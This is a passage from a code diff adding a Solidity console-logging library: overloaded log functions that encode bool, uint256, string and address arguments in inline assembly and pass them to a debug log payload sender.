+            // Selector of `log(bool,uint256,bool,uint256)`.
+            mstore(0x00, 0x7f9bbca2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,bool,string)`.
+            mstore(0x00, 0x9143dbb1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,uint256,address)`.
+            mstore(0x00, 0x00dd87b9)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,uint256,bool)`.
+            mstore(0x00, 0xbe984353)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,uint256,uint256)`.
+            mstore(0x00, 0x374bb4b2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,uint256,string)`.
+            mstore(0x00, 0x8e69fb5d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,string,address)`.
+            mstore(0x00, 0xfedd1fff)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,string,bool)`.
+            mstore(0x00, 0xe5e70b2b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,string,uint256)`.
+            mstore(0x00, 0x6a1199e2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,uint256,string,string)`.
+            mstore(0x00, 0xf5bc2249)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,address,address)`.
+            mstore(0x00, 0x2b2b18dc)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,address,bool)`.
+            mstore(0x00, 0x6dd434ca)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,address,uint256)`.
+            mstore(0x00, 0xa5cada94)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,address,string)`.
+            mstore(0x00, 0x12d6c788)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,bool,address)`.
+            mstore(0x00, 0x538e06ab)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,bool,bool)`.
+            mstore(0x00, 0xdc5e935b)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,bool,uint256)`.
+            mstore(0x00, 0x1606a393)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,bool,string)`.
+            mstore(0x00, 0x483d0416)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,uint256,address)`.
+            mstore(0x00, 0x1596a1ce)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,uint256,bool)`.
+            mstore(0x00, 0x6b0e5d53)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,uint256,uint256)`.
+            mstore(0x00, 0x28863fcb)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,uint256,string)`.
+            mstore(0x00, 0x1ad96de6)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,string,address)`.
+            mstore(0x00, 0x97d394d8)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,string,bool)`.
+            mstore(0x00, 0x1e4b87e5)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
